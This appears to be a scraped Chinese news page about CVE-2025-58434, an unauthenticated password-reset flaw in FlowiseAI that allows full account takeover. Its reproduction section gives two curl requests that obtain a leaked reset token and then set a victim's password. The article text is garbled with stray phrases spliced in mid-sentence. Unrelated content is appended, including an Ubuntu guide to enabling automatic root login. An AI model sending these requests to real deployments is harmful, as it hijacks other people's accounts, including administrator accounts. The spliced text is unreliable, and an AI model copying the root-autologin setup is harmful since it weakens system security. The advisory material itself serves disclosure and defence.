漏洞预警：FlowiseAI 高危漏洞（CVE-2025-58434）可导致完全账户接管（CVSS 9.8）
发布时间：2025-11-05 15:31:41 来源：创站工坊 作者：IT科技类资讯
开源生成式AI开发平台FlowiseAI（广泛用于构建AI代理和LLM工作流）近日被发现存在高危漏洞，漏洞攻击者可在未认证状态下接管云环境和本地部署环境中的高管任意账户。
该漏洞编号为CVE-2025-58434，危漏CVSS评分为9.8分，可导源于平台的致完密码重置机制。安全公告指出："Flowise的全账密码找回端点（/api/v1/account/forgot-password）在未经认证或验证的情况下，直接返回包含有效密码重置临时令牌（tempToken）在内的户接敏感信息。攻击者可借此为任意用户生成重置令牌并直接修改密码，漏洞最终实现完全账户接管（ATO）。高管"
技术分析该漏洞端点仅需输入邮箱地址即可触发响应，危漏但API并未通过邮件安全发送重置链接，站群服务器可导而是致完直接返回以下敏感信息：
用户ID、姓名、全账邮箱及凭证哈希值账户状态和时间戳有效的户接密码重置临时令牌及其有效期安全公告特别强调："攻击者获取tempToken后，可立即在/api/v1/account/reset-password端点重复使用，漏洞无需邮件验证或用户交互即可重置目标账户密码。"由于仅需获知受害者邮箱（通常可猜测或公开获取），未认证攻击者即可接管包括管理员在内的任意账户。
攻击复现公告提供了完整的攻击链复现步骤：
(1) 获取重置令牌
复制curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d {"user":{"email":"victim@example.com"}}1.2.3.响应报文将包含有效tempToken
(2) 利用令牌重置密码
复制curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d { "user":{ "email":"victim@example.com", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }1.2.3.当返回200 OK状态码时，受害者密码即被修改
风险影响该漏洞被归类为"认证绕过/不安全的直接对象引用"，具体影响包括：
完全账户接管（含高权限管理员账户）数据泄露与身份冒用（可访问组织敏感资产）无需用户交互（大幅降低攻击门槛）同时影响云环境和本地部署（扩大威胁面）公告警告称："由于攻击无需前置条件或用户交互，源码库该漏洞极有可能被大规模利用。"
缓解措施目前FlowiseAI尚未发布补丁，3.0.5之前的所有版本均受影响。建议采取以下临时防护措施：
禁止API响应返回重置令牌等敏感信息确保令牌仅通过安全邮件渠道传递返回通用成功消息以避免用户枚举实施单次有效、短生命期且绑定请求源的令牌记录并监控所有密码重置请求为敏感账户启用多因素认证（MFA）在官方补丁发布前，管理员需严格实施临时解决方案，限制漏洞端点暴露，并密切监控重置操作。正如公告所述："该漏洞实质上允许任何未认证攻击者通过请求目标邮箱的重置令牌，接管包括管理员在内的任意账户。"
服务器托管- Ubuntu（乌班图）是一个以桌面应用为主的Linux操作系统。Ubuntu基于Debian发行版和GNOME桌面环境，而从11.04版起，Ubuntu发行版放弃了Gnome桌面环境，改为Unity，与Debian的不同在于它每6个月会发布一个新版本。ubuntu-Kylin中国定制版的Ubuntu桌面Linux系统，融入中国独有的特色。ubuntu默认是不能用root用户登录的，对于个人来说没有root用户权限非常麻烦。这里我将介绍Ubuntu keylin 14.04开启root用户登录；假如有需要的同学就一起学习下！！！1、为root用户设置密码安装完成如需使用root身份登录，可打开终端输入以下命令：#设置root密码sudo passwd root，输入当前用户密码，然后输入两次设置的root密码；2、#切换到root用户sudo -s。输入root密码，进入root终端3、设置登录面板，使其实现root登录想要在登录界面使用root身份登录，可编辑 /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf目录下的 /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf文件，如没有此文件，直接创建 /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf进入 /usr/share/lightdm/lightdm.conf.d/cd /usr/share/lightdm/lightdm.conf.d/编辑50-ubuntu.conf文件内容最终为：[SeatDefaults]user-session=ubuntuautologin-user=rootgreeter-session=unity-greetegreeter-show-manual-login=truallow-guest=false修改完之后执行reboot命令重启Ubuntu生效；启动后以root身份自动登录autologin-user=root#手工输入登陆系统的用户名和密码greeter-show-manual-login=true#禁用guest用户allow-guest=false4、重启ubuntu命令行输入reboot回车，等待重启；启动后默认已root用户登录了。注意事项：学用户假如对于vim使用不熟悉可以使用gedit非常方便。
- SQL Server创建表语句介绍
- sql server日期时间格式转换字符串简介
- 与乌克兰战局相关的诈骗邮件浪潮
- 想知道在Linux中你正在使用的网卡是什么吗？ 在Linux中很容易就找出网卡的生产商。打开一个终端并输入下面的额命令：复制代码代码如下:sudo lshw -C network假如上面的命令不能在sudo下使用，那就别用 sudo 的特权模式。它的输出看上去有点奇怪但是很有用。复制代码代码如下: *-network description: Wireless interface product: BCM4360 802.11ac Wireless Network Adapter vendor: Broadcom Corporation physical id: 0 bus info: pci@0000:03:00.0 logical name: wlan0 version: 03 serial: 9c:f3:87:c1:5d:6a width: 64 bits clock: 33MHz capabilities: busmaster caplist ethernet physical wireless configuration: broadcast=yes driver=wl0 driverversion=6.30.223.248 (r487574) ip=192.168.1.23 latency=0 multicast=yes wireless=IEEE 802.11abg resources: irq:18 memory:b0600000-b0607fff memory:b0400000-b05fffff如你所见，我Macbook Air上的无线网卡是BCM4360，这是一款在Ubuntu下面很容易出现无法检测无线网络问题的网卡。lshw 命令实际上是用来列出硬件的，因此命令的名字是lshw。带上网络的选项后，就会只过滤出网络硬件了。了解网卡的其他方法另外你还可以使用lspci命令来显示PCI总线上的信息。你应该使用普通用户来运行这个命令。只需要在命令行下输入：复制代码代码如下: lspci命令的输出看上去想这样：复制代码代码如下: 00:00.0 Host bridge: Intel Corporation Haswell-ULT DRAM Controller (rev 09) 00:02.0 VGA compatible controller: Intel Corporation Haswell-ULT Integrated Graphics Controller (rev 09) 00:03.0 Audio device: Intel Corporation Haswell-ULT HD Audio Controller (rev 09) 00:14.0 USB controller: Intel Corporation 8 Series USB xHCI HC (rev 04) 00:16.0 Communication controller: Intel Corporation 8 Series HECI #0 (rev 04) 00:1b.0 Audio device: Intel Corporation 8 Series HD Audio Controller (rev 04) 00:1c.0 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 1 (rev e4) 00:1c.1 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 2 (rev e4) 00:1c.2 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 3 (rev e4) 00:1c.4 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 5 (rev e4) 00:1c.5 PCI bridge: Intel Corporation 8 Series PCI Express Root Port 6 (rev e4) 00:1f.0 ISA bridge: Intel Corporation 8 Series LPC Controller (rev 04) 00:1f.3 SMBus: Intel Corporation 8 Series SMBus Controller (rev 04) 02:00.0 Multimedia controller: Broadcom Corporation Device 1570 03:00.0 Network controller: Broadcom Corporation BCM4360 802.11ac Wireless Network Adapter (rev 03) 04:00.0 SATA controller: Marvell Technology Group Ltd. 88SS9183 PCIe SSD Controller (rev 14)这些命令会同时列出有线和无线的网卡。你应该注意到上面的输出中显示我的系统中没有有线网卡。因为我使用的是Macbook Air，它没有以太网端口
- MySQL数据库表的表示
- 乌克兰：“我要让俄罗斯从互联网消失”，ICANN：“不可以！”
- sql server日志文件过大的解决办法
- 三通一达业务量飙升，助力行业发展（数字化转型推动三通一达业务快速增长）
- 教您如何使用SQL Server创建服务
香港云服务器IT技术网IT资讯网亿华云企商汇益华科技源码下载源码库服务器租用益强前沿资讯智能时代益强科技码上建站汇智坊技术快报益华科技亿华云极客码头益强编程舍益华科技益强科技亿华互联益强IT技术网云站无忧云智核亿华智造极客编程亿华云计算亿华灵动亿华科技编程之道亿华智慧云益强编程堂创站工坊益强资讯优选码力社益强智囊团全栈开发益华IT技术论坛思维库科技前瞻
- Copyright © 2025 Powered by 漏洞预警：FlowiseAI 高危漏洞（CVE-2025-58434）可导致完全账户接管（CVSS 9.8）,创站工坊 滇ICP备2023006006号-44sitemap